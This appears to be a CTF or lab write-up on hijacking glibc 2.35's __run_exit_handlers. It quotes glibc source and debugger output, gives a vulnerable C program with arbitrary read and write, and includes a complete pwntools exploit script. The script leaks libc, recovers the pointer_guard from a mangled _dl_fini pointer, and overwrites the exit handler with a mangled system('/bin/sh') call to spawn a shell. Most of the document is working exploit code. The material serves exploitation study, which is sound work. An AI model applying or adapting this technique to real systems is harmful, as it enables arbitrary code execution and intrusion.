__run_exit_handlers Exploit

getconf -a |grep libc GNU_LIBC_VERSION glibc 2.35 checksec ./main Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled

struct exit_function { /* `flavour' should be of type of the `enum' above but since we need this element in an atomic operation we have to use `long int'. */ long int flavor; union { void (*at) (void); struct { void (*fn) (int status, void *arg); void *arg; } on; struct { void (*fn) (void *arg, int status); void *arg; void *dso_handle; } cxa; } func; }; struct exit_function_list { struct exit_function_list *next; size_t idx; struct exit_function fns[32]; };

enum { ef_free, /* `ef_free' MUST be zero! */ ef_us, ef_on, ef_at, ef_cxa };

void attribute_hidden __run_exit_handlers (int status, struct exit_function_list **listp, bool run_list_atexit, bool run_dtors) { ... struct exit_function_list *cur = *listp; ... while (cur->idx > 0) { struct exit_function *const f = &cur->fns[--cur->idx]; ... switch (f->flavor) { ... case ef_on: onfct = f->func.on.fn; arg = f->func.on.arg; #ifdef PTR_DEMANGLE PTR_DEMANGLE (onfct); #endif ... }

exit (int status) { __run_exit_handlers (status, &__exit_funcs, true, true); } libc_hidden_def (exit)

static struct exit_function_list initial; struct exit_function_list *__exit_funcs = &initial;

gef➤ p **&__exit_funcs $1 = { next = 0x0, idx = 0x0, fns = {{ flavor = 0x0, func = { at = 0xd26896c1494eb578, on = { fn = 0xd26896c1494eb578, arg = 0x0 }, cxa = { fn = 0xd26896c1494eb578, arg = 0x0, dso_handle = 0x0 } } }, { flavor = 0x0, func = { at = 0x0, on = { fn = 0x0, arg = 0x0 }, cxa = { fn = 0x0, arg = 0x0, dso_handle = 0x0 } } } <repeats 31 times>} }

# define PTR_MANGLE(var) asm ("xor %%fs:%c2, %0\n" \ "rol $2*" LP_SIZE "+1, %0" \ : "=r" (var) \ : "0" (var), \ "i" (offsetof (tcbhead_t, \ pointer_guard))) # define PTR_DEMANGLE(var) asm ("ror $2*" LP_SIZE "+1, %0\n" \ "xor %%fs:%c2, %0" \ : "=r" (var) \ : "0" (var), \ "i" (offsetof (tcbhead_t, \ pointer_guard)))

#include <stdio.h> char name[0x100]; void menu(){ printf("1. read\n"); printf("2. write\n"); printf("3. exit\n"); } void init() { setvbuf(stdin, 0, 2, 0); setvbuf(stdout, 0, 2, 0); } int main() { init(); int choice; unsigned long *address; printf("stdout : %p\n", stdout); while (1){ menu(); printf("input : "); scanf("%d", &choice); if(choice == 1){ printf("address : "); scanf("%lu", &address); printf("value : %p\n", *address); } else if(choice == 2){ printf("address : "); scanf("%lu", &address); printf("value : "); scanf("%lu", address); }else break; } return 1; }

from pwn import * # p = process("./main") p = remote("127.0.0.1", 9090) libc = ELF('./libc.so') ld = ELF("./ld.so") def ROR(data, shift, size=64): shift %= size body = data >> shift remains = (data << (size - shift)) - (body << size) return (body + remains) def ROL(data, shift, size=64): shift %= size remains = data >> (size - shift) body = (data << shift) - (remains << size ) return (body + remains) def read(address): p.sendlineafter("input : ", "1") p.sendlineafter(": ", str(address)) return int(p.recvline().split(b": ")[1].strip(), base=16) def write(address, value): p.sendlineafter("input : ", "2") p.sendlineafter(": ", str(address)) p.sendlineafter(": ", str(value)) stdout = int(p.recvline().split(b": ")[1].strip(), base=16) libc_base = stdout - libc.symbols['_IO_2_1_stdout_'] environ = libc_base + libc.symbols['__environ'] envrion_address = read(environ) ld_base = read(envrion_address + 0xf0) #직접 디버깅해보면서 찾아야함, 하지만 8씩 늘려가면서 대충 때려맞춰도 될 듯? _dl_fini = ld_base + 0x6040 #smybol이 없어 디버깅해보면서 offset을 직접 구해야함 MANGLE_dl_fini = read(libc_base + 0x21af00 + 0x18) #smybol이 없어 디버깅해보면서 offset을 직접 구해야함 success(f"stdout : {hex(stdout)}") success(f"libc_base : {hex(libc_base)}") success(f"envrion_address : {hex(envrion_address)}") success(f"ld_base : {hex(ld_base)}") success(f"_dl_fini : {hex(_dl_fini)}") success(f"MANGLE_dl_fini : {hex(MANGLE_dl_fini)}") # Get pointer_guard pointer_guard = ROR(MANGLE_dl_fini, 0x11) ^ _dl_fini MANGLE_system = ROL(libc_base + libc.symbols['system'] ^ pointer_guard, 0x11) success(f"pointer_guard : {hex(pointer_guard)}") success(f"MANGLE system : {hex(MANGLE_system)}") write(libc_base + 0x21af00 + 0x18, MANGLE_system) write(libc_base + 0x21af00 + 0x20, libc_base + list(libc.search(b'/bin/sh\x00'))[0]) p.interactive()